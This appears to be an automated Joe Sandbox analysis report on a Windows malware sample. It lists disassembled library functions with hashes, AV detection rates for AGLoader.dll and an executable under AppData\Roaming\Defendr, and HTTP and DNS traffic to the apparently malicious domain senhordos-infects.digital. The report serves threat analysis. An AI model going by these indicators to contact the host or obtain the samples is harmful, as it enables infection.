Part of subcall function 00B9780A: std::_Lockit::~_Lockit.LIBCPMT ref: 00B9788C

Strings

%.0Lf, xrefs: 00BA21CE
0123456789-, xrefs: 00BA21D3

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: %.0Lf$0123456789-
API String ID: 2728201062-3094241602
Opcode ID: beb7f0cd183313bcfdfa1afeb7d7abd484aacbb5888abcd432b248e2104396d6
Instruction ID: 437c1b806e36c64d35f6bedc46655ec28091e0ac345e0cd36f4a6ef4690b95d1
Opcode Fuzzy Hash: beb7f0cd183313bcfdfa1afeb7d7abd484aacbb5888abcd432b248e2104396d6
Instruction Fuzzy Hash: 21412731904219DFCF05EF98D981AEDBBF5FF0A310F1401AAE811AB261DB349956CB65

Function 00BA64DB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BA64E2

Part of subcall function 00B8C590: std::_Lockit::_Lockit.LIBCPMT ref: 00B8C5BD
Part of subcall function 00B8C590: std::_Lockit::_Lockit.LIBCPMT ref: 00B8C5E0
Part of subcall function 00B8C590: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8C608
Part of subcall function 00B8C590: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8C6A7

Strings

0123456789-, xrefs: 00BA652D
0123456789-, xrefs: 00BA6532

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 2088892359-2494171821
Opcode ID: d6356a07b6788ef0cb86e8de12cd4d4ce34f031821ce322f68c4e9672abee1d3
Instruction ID: a6dc1a6eebf40c311d88ddc0e1f94473f3400f393a0d43219f74cb511cca7cf1
Opcode Fuzzy Hash: d6356a07b6788ef0cb86e8de12cd4d4ce34f031821ce322f68c4e9672abee1d3
Instruction Fuzzy Hash: 70415B71D04209EFCF09EFA4D8819AEBBF5EF19310F1400AAF411A7261DB34AA56CB51

Function 00BA2460 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BA2467

Part of subcall function 00B8B500: std::_Lockit::_Lockit.LIBCPMT ref: 00B8B52D
Part of subcall function 00B8B500: std::_Lockit::_Lockit.LIBCPMT ref: 00B8B550
Part of subcall function 00B8B500: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8B578
Part of subcall function 00B8B500: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8B617

Strings

0123456789-, xrefs: 00BA24B7
0123456789-, xrefs: 00BA24B2

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 2088892359-2494171821
Opcode ID: 13bc3bf380b971481d9756160f2df4bdb2a1ff4741dfc94af12caffbbbc91ac0
Instruction ID: f0fa018f414596f8e2464586ef1d7a491ac94e6818ef73a36534eb2334476efe
Opcode Fuzzy Hash: 13bc3bf380b971481d9756160f2df4bdb2a1ff4741dfc94af12caffbbbc91ac0
Instruction Fuzzy Hash: 0D414931904218DFCF05EFA8D8919EDBBF5FF19710F1000AAF915AB261DB309A56CB65

Function 00BA67B5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BA67BC
__cftoe.LIBCMT ref: 00BA684D

Strings

!%x, xrefs: 00BA67D6

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: 5664a7eb8f79ffcf2c40e6755693ce3d561292c7042cf117c6d341f46198b0df
Instruction ID: 49b8c29034368e03266285bdeb6be161af426990241d96f040fb67bdfddfd5cc
Opcode Fuzzy Hash: 5664a7eb8f79ffcf2c40e6755693ce3d561292c7042cf117c6d341f46198b0df
Instruction Fuzzy Hash: F44115B4A14249EFDF04DFA8D881AEEBBF5BF09300F0444AAF955A7252D7349905CB61

Function 00BA2DB5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BA2DBC
__cftoe.LIBCMT ref: 00BA2E4F

Strings

!%x, xrefs: 00BA2DCA

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: 9d660c63b8c0f96def4bf1064a7c76cababf368176d641abe345315bc8201ffe
Instruction ID: f20b7fe803dd261a59a90b47d33bc4199fe99541c6c7bdc678c4b301a13ff844
Opcode Fuzzy Hash: 9d660c63b8c0f96def4bf1064a7c76cababf368176d641abe345315bc8201ffe
Instruction Fuzzy Hash: 42313975A04209EBDF04DFA8D981AEEB7F2FF49304F2084A9F905AB211E7349E45CB50

Function 00B8D5D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B8D682

Strings

%, xrefs: 00B8D609
+, xrefs: 00B8D5F6

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: 9cac1194305e72311517992d8264b299fa386cc9b65974b3bc4537fab192bfaf
Instruction ID: c3e307053280e57b1b264ad44b0c5b091b5b09f73040fca2eae2ada42e73951c
Opcode Fuzzy Hash: 9cac1194305e72311517992d8264b299fa386cc9b65974b3bc4537fab192bfaf
Instruction Fuzzy Hash: 1E2107711083449FD711DF18D899B9B7BE9EF89304F04855EF99887292D734D918C7A3

Function 00B8D6C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B8D769

Strings

+, xrefs: 00B8D6E6
%, xrefs: 00B8D6F9

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: f23ebd9a9c537c75ed81836608d4dce9a740680825a8d9b7c709a0ba11298689
Instruction ID: 63d2bccfe4bb5c4d24667fc4db47a10ebc6f70ce42f2113d0348aa53c5bbdbd1
Opcode Fuzzy Hash: f23ebd9a9c537c75ed81836608d4dce9a740680825a8d9b7c709a0ba11298689
Instruction Fuzzy Hash: 1521D6752083859FE711DF18C885B9BBBE9EB85310F04885EF994872A2C734D918CBA7

Function 00B8D7B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B8D859

Strings

%, xrefs: 00B8D7E9
+, xrefs: 00B8D7D6

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: 6352de55e8df9ab1f5d455941a28430357b9b55ec3011d5323b662b86213e85f
Instruction ID: 997d564f789d4855bebc9d26a3290d308ded2ac2e82c540e20479398e119ae07
Opcode Fuzzy Hash: 6352de55e8df9ab1f5d455941a28430357b9b55ec3011d5323b662b86213e85f
Instruction Fuzzy Hash: A821C4712083459FE711DF18C885B9BBBEAEB85310F04885EF99487292C734D919CBE2

Function 00B880D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ConvertSidToStringSidW.ADVAPI32(?,00000000), ref: 00B88116
LocalFree.KERNEL32(00000000,Invalid SID,0000000B,?,00000000,E5F50329), ref: 00B88185

Strings

Invalid SID, xrefs: 00B88163

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ConvertFreeLocalString
String ID: Invalid SID
API String ID: 3201929900-130637731
Opcode ID: f412274c56e31ad864de6892f67911a3c98ca3d9a209cdf5b8d4830497502dd0
Instruction ID: a9e9f94a4f6f18ffc4aba8b94b20b5f3b89e1ef741cee194377e0b72c004a5bb
Opcode Fuzzy Hash: f412274c56e31ad864de6892f67911a3c98ca3d9a209cdf5b8d4830497502dd0
Instruction Fuzzy Hash: FD219F74A003059BDB10EF58C859BAFFBF8EB48B04F14465EE801A7290DBB56A45CBD0

Function 00B8C140 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B8C16B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B8C1CE

Strings

bad locale name, xrefs: 00B8C1F1

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 4c958272711b8d4cc5ff1da0c10821517593f4ac6ba7040c44284ebdbd3a9cc0
Instruction ID: 532e11bcfed864e4e8c7752270fc5771a4fef3200ed439e2cc5b235da5c53a29
Opcode Fuzzy Hash: 4c958272711b8d4cc5ff1da0c10821517593f4ac6ba7040c44284ebdbd3a9cc0
Instruction Fuzzy Hash: 8B21F070805B88EED721CF68C904B4BBFF4EF15714F10869EE48597781D3B5AA04CBA1

Function 00B94077 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B9407E

Strings

true, xrefs: 00B940E8
false, xrefs: 00B940D5

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: H_prolog3_
String ID: false$true
API String ID: 2427045233-2658103896
Opcode ID: ce1a7adfb7f11f3ecfa9faa80e6b3fc484a4f772c26f6fce014764056b777091
Instruction ID: d9c7bd167587918d1a78b7454f6a2c57eecc9fa5ef8423225b8ed5618eae77d7
Opcode Fuzzy Hash: ce1a7adfb7f11f3ecfa9faa80e6b3fc484a4f772c26f6fce014764056b777091
Instruction Fuzzy Hash: 8B11BE71D00745AFCB24EFB4D852F9ABBF4AF09300F0085AAE1A59B751EB70E904CB50

Function 00B91E15 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00B90B00: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,E5F50329,?,00BC93B0,000000FF), ref: 00B90B27
Part of subcall function 00B90B00: GetLastError.KERNEL32(?,00000000,00000000,E5F50329,?,00BC93B0,000000FF), ref: 00B90B31

IsDebuggerPresent.KERNEL32(?,?,00BDFAD8), ref: 00B91E48
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,00BDFAD8), ref: 00B91E57

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00B91E52

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: 0668dabc5f3a395718eaa06f97ed56129d510e0ec5f6ed0f773cdaab41cbfff5
Instruction ID: 355188f9c1129084ede71305c282fde8b942afed2f001cbcde19fbb94d759c8c
Opcode Fuzzy Hash: 0668dabc5f3a395718eaa06f97ed56129d510e0ec5f6ed0f773cdaab41cbfff5
Instruction Fuzzy Hash: BAE09274600B428FCB20AF2DE504B46BBE4AF05744F408CBDE881C7250DBB4E804CB51

Function 00B86C20 Relevance: 5.2, APIs: 4, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,40000022,E5F50329,?,00000000,?,?,?,?,00BC9DA0,000000FF,?,00B86432,00000000,?), ref: 00B86CC4
LocalAlloc.KERNEL32(00000040,3FFFFFFF,E5F50329,?,00000000,?,?,?,?,00BC9DA0,000000FF,?,00B86432,00000000,?), ref: 00B86CE7
LocalFree.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,00BC9DA0,000000FF,?,00B86432,00000000), ref: 00B86D87
LocalFree.KERNEL32(?,E5F50329,00000000,00BC93B0,000000FF,?,00000000,00000000,00BC9DA0,000000FF,E5F50329), ref: 00B86E0D

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: dd8c81bf8f3106232707149761698f122762e49ed24aac3453618cb0aa04583b
Instruction ID: 5f60bf2230da1a04703b859eb3bb471a4effa86b7489e7f621706a7591f3ea17
Opcode Fuzzy Hash: dd8c81bf8f3106232707149761698f122762e49ed24aac3453618cb0aa04583b
Instruction Fuzzy Hash: EB515AB5A002099FDB18DF68C985BAEBBF5FB48310F14467DE825E7790DB31A910CB94

Function 00B84A80 Relevance: 5.2, APIs: 4, Instructions: 169memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,80000022,?,?,?,00000000,?,00000000,?,?), ref: 00B84B05
LocalAlloc.KERNEL32(00000040,7FFFFFFF,?,?,?,00000000,?,00000000,?,?), ref: 00B84B25
LocalFree.KERNEL32(7FFFFFFE,?,?,00000000,?,00000000,?,?), ref: 00B84BAB
LocalFree.KERNEL32(00000000,E5F50329,00000000,00000000,Function_000492C0,000000FF,?,?,00000000,?,00000000,?,?), ref: 00B84C2D

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: baad727a0730379185fae6f5ed4980a19c0fe1707d72402029abbdddadba45f9
Instruction ID: 34eba63a75e29c9acf1e266786f2ed1af63a9e73b890fe687b9f9a42f2557190
Opcode Fuzzy Hash: baad727a0730379185fae6f5ed4980a19c0fe1707d72402029abbdddadba45f9
Instruction Fuzzy Hash: 2151E6726042169FC714EF28DC81B6AB7E9FB89310F140AAEF456D72A1DB30DD04CB90

Source: C:\Users\user\AppData\Roaming\Defendr\AGLoader.dll	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Roaming\Defendr\AGLoader.dll	Virustotal: Detection: 22%	Perma Link
Source: C:\Users\user\AppData\Roaming\Defendr\LKdayanJELT9QDD900055.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Roaming\Defendr\LKdayanJELT9QDD900055.exe	Virustotal: Detection: 62%	Perma Link

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=w9MYfvZhdmZbyak&MD=mGeKN9ZR HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=w9MYfvZhdmZbyak&MD=mGeKN9ZR HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /clientes/inspecionando.php HTTP/1.1Host: senhordos-infects.digitalConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: senhordos-infects.digitalConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://senhordos-infects.digital/clientes/inspecionando.phpAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /clientes/inspecionando.php HTTP/1.1Host: senhordos-infects.digitalConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://senhordos-infects.digital/clientes/inspecionando.phpAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: senhordos-infects.digital
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
